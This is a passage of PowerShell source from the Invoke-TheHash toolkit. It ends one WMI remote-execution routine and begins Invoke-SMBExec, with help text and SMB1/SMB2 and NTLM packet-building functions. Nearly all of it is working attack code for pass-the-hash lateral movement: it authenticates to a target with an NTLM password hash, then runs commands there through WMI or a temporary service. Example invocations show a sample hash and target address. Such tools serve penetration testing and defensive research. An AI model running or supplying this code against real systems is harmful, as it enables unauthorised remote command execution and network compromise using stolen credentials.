0x00,0x29,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00, 0x00,0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00, 0x00,0xff,0xff,0x66,0x03,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x44, 0x03,0x00,0x00,0x00,0x49,0x44,0x00,0x0d,0x00,0x00,0x00,0x02,0x00, 0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a, 0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0xf5,0x03,0x00,0x00,0x16, 0x03,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x66,0x03,0x00, 0x00,0x02,0x08,0x20,0x00,0x00,0x44,0x03,0x00,0x00,0xad,0x03,0x00, 0x00,0x11,0x03,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x6f,0x62, 0x6a,0x65,0x63,0x74,0x3a,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72, 0x6f,0x63,0x65,0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70 + (,0x00 * 501) + $command_length + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x0e,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01 + $command_length2 + 0x00,0x80,0x00,0x5f,0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45, 0x52,0x53,0x00,0x00 + $command_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x02,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00 if($Stub_data.Length -lt $request_split_index) { $request_flags = 0x83 $WMI_client_stage_next = 'Result' } else { $request_split = $true $request_split_stage_final = [Math]::Ceiling($stub_data.Length / $request_split_index) if($request_split_stage -lt 2) { $request_length = $stub_data.Length $stub_data = $stub_data[0..($request_split_index - 1)] $request_split_stage = 2 $sequence_number_counter = 10 $request_flags = 0x81 $request_split_index_tracker = $request_split_index $WMI_client_stage_next = 'Request' } elseif($request_split_stage -eq $request_split_stage_final) { $request_split = $false $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter) $request_split_stage = 0 $stub_data = $stub_data[$request_split_index_tracker..$stub_data.Length] $request_flags = 0x82 $WMI_client_stage_next = 'Result' } else { $request_length = $stub_data.Length - $request_split_index_tracker $stub_data = $stub_data[$request_split_index_tracker..($request_split_index_tracker + $request_split_index - 1)] $request_split_index_tracker += $request_split_index $request_split_stage++ $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter) $sequence_number_counter++ $request_flags = 0x80 $WMI_client_stage_next = 'Request' } } } } $packet_RPC = New-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID if($request_split) { $packet_RPC["AllocHint"] = [System.BitConverter]::GetBytes($request_length) } $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $stub_data + $NTLMSSP_verifier[0..($request_auth_padding + 7)]) $RPC_signature = $RPC_signature[0..7] $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $WMI_client_send = $RPC + $stub_data + $NTLMSSP_verifier $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() if(!$request_split) { $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null } while($WMI_client_random_port_stream.DataAvailable) { $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null Start-Sleep -m $Sleep } $WMI_client_stage = $WMI_client_stage_next } 'Result' { while($WMI_client_random_port_stream.DataAvailable) { $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null Start-Sleep -m $Sleep } if($WMI_client_receive[1145] -ne 9) { $target_process_ID = Get-UInt16DataLength 1141 $WMI_client_receive Write-Output "[+] Command executed with process ID $target_process_ID on $target_long" } else { Write-Output "[-] Process did not start, check your command" } $WMI_client_stage = 'Exit' } } Start-Sleep -m $Sleep } $WMI_client_random_port.Close() $WMI_client_random_port_stream.Close() } $WMI_client.Close() $WMI_client_stream.Close() } } } function Invoke-SMBExec { <# .SYNOPSIS Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec supports SMB1 and SMB2.1 with and without SMB signing. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Target Hostname or IP address of target. .PARAMETER Username Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. .PARAMETER Command Command to execute on the target. If a command is not specified, the function will check to see if the username and hash provides local administrator access on the target. .PARAMETER CommandCOMSPEC Default = Enabled: Prepend %COMSPEC% /C to Command. .PARAMETER Service Default = 20 Character Random: Name of the service to create and delete on the target. .PARAMETER Sleep Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. .PARAMETER Session Inveigh-Relay authenticated session. .PARAMETER Version Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. .EXAMPLE Execute a command. Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .EXAMPLE Check command execution privilege. Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE Execute a command using an authenticated Inveigh-Relay session. Invoke-SMBExec -Session 1 -Command "command or launcher to execute" .EXAMPLE Check if SMB signing is required. Invoke-SMBExec -Target 192.168.100.20 .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> [CmdletBinding(DefaultParametersetName='Default')] param ( [parameter(Mandatory=$false)][String]$Target, [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto", [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, [parameter(Mandatory=$false)][Int]$Sleep=150 ) if($PsCmdlet.ParameterSetName -ne 'Session' -and !$Target) { Write-Output "[-] Target is required when not using -Session" throw } if($Command) { $SMB_execute = $true } if($Version -eq '1') { $SMB_version = 'SMB1' } elseif($Version -eq '2.1') { $SMB_version = 'SMB2.1' } if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session') { $signing_check = $true } function ConvertFrom-PacketOrderedDictionary { param($OrderedDictionary) ForEach($field in $OrderedDictionary.Values) { $byte_array += $field } return $byte_array } #NetBIOS function New-PacketNetBIOSSessionService { param([Int]$HeaderLength,[Int]$DataLength) [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) $NetBIOSSessionService.Add("Length",$length) return $NetBIOSSessionService } #SMB1 function New-PacketSMBHeader { param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) $ProcessID = $ProcessID[0,1] $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) $SMBHeader.Add("Command",$Command) $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) $SMBHeader.Add("Reserved",[Byte[]](0x00)) $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) $SMBHeader.Add("Flags",$Flags) $SMBHeader.Add("Flags2",$Flags2) $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) $SMBHeader.Add("TreeID",$TreeID) $SMBHeader.Add("ProcessID",$ProcessID) $SMBHeader.Add("UserID",$UserID) $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) return $SMBHeader } function New-PacketSMBNegotiateProtocolRequest { param([String]$Version) if($Version -eq 'SMB1') { [Byte[]]$byte_count = 0x0c,0x00 } else { [Byte[]]$byte_count = 0x22,0x00 } $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) if($version -ne 'SMB1') { $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) } return $SMBNegotiateProtocolRequest } function New-PacketSMBSessionSetupAndXRequest { param([Byte[]]$SecurityBlob) [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) return $SMBSessionSetupAndXRequest } function New-PacketSMBTreeConnectAndXRequest { param([Byte[]]$Path) [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1] $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) $SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) $SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) $SMBTreeConnectAndXRequest.Add("ByteCount",$path_length) $SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) $SMBTreeConnectAndXRequest.Add("Tree",$Path) $SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) return $SMBTreeConnectAndXRequest } function New-PacketSMBNTCreateAndXRequest { param([Byte[]]$NamedPipe) [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] [Byte[]]$file_name_length = $([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1] $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) $SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) $SMBNTCreateAndXRequest.Add("FileNameLen",$file_name_length) $SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) $SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) $SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) $SMBNTCreateAndXRequest.Add("ByteCount",$named_pipe_length) $SMBNTCreateAndXRequest.Add("Filename",$NamedPipe) return $SMBNTCreateAndXRequest } function New-PacketSMBReadAndXRequest { $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) $SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) $SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) $SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) $SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) $SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) $SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) return $SMBReadAndXRequest } function New-PacketSMBWriteAndXRequest { param([Byte[]]$FileID,[Int]$Length) [Byte[]]$write_length = [System.BitConverter]::GetBytes($Length)[0,1] $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) $SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBWriteAndXRequest.Add("FID",$FileID) $SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) $SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) $SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) $SMBWriteAndXRequest.Add("Remaining",$write_length) $SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) $SMBWriteAndXRequest.Add("DataLengthLow",$write_length) $SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) $SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) $SMBWriteAndXRequest.Add("ByteCount",$write_length) return $SMBWriteAndXRequest } function New-PacketSMBCloseRequest { param ([Byte[]]$FileID) $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) $SMBCloseRequest.Add("FID",$FileID) $SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) $SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) return $SMBCloseRequest } function New-PacketSMBTreeDisconnectRequest { $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) $SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) return $SMBTreeDisconnectRequest } function New-PacketSMBLogoffAndXRequest { $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) $SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) $SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) $SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) $SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) return $SMBLogoffAndXRequest } #SMB2 function New-PacketSMB2Header { param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) if($Signing) { $flags = 0x08,0x00,0x00,0x00 } else { $flags = 0x00,0x00,0x00,0x00 } [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) if($message_ID.Length -eq 4) { $message_ID += 0x00,0x00,0x00,0x00 } $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2Header.Add("Command",$Command) $SMB2Header.Add("CreditRequest",$CreditRequest) $SMB2Header.Add("Flags",$flags) $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2Header.Add("MessageID",$message_ID) $SMB2Header.Add("ProcessID",$ProcessID) $SMB2Header.Add("TreeID",$TreeID) $SMB2Header.Add("SessionID",$SessionID) $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) return $SMB2Header } function New-PacketSMB2NegotiateProtocolRequest { $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) return $SMB2NegotiateProtocolRequest } function New-PacketSMB2SessionSetupRequest { param([Byte[]]$SecurityBlob) [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) return $SMB2SessionSetupRequest } function New-PacketSMB2TreeConnectRequest { param([Byte[]]$Buffer) [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) $SMB2TreeConnectRequest.Add("PathLength",$path_length) $SMB2TreeConnectRequest.Add("Buffer",$Buffer) return $SMB2TreeConnectRequest } function New-PacketSMB2CreateRequestFile { param([Byte[]]$NamedPipe) $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) $SMB2CreateRequestFile.Add("NameLength",$name_length) $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) return $SMB2CreateRequestFile } function New-PacketSMB2ReadRequest { param ([Byte[]]$FileID) $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("FileID",$FileID) $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) return $SMB2ReadRequest } function New-PacketSMB2WriteRequest { param([Byte[]]$FileID,[Int]$RPCLength) [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) $SMB2WriteRequest.Add("Length",$write_length) $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("FileID",$FileID) $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) return $SMB2WriteRequest } function New-PacketSMB2CloseRequest { param ([Byte[]]$FileID) $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CloseRequest.Add("FileID",$FileID) return $SMB2CloseRequest } function New-PacketSMB2TreeDisconnectRequest { $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) return $SMB2TreeDisconnectRequest } function New-PacketSMB2SessionLogoffRequest { $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) return $SMB2SessionLogoffRequest } #NTLM function New-PacketNTLMSSPNegotiate { param([Byte[]]$NegotiateFlags,[Byte[]]$Version) [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) 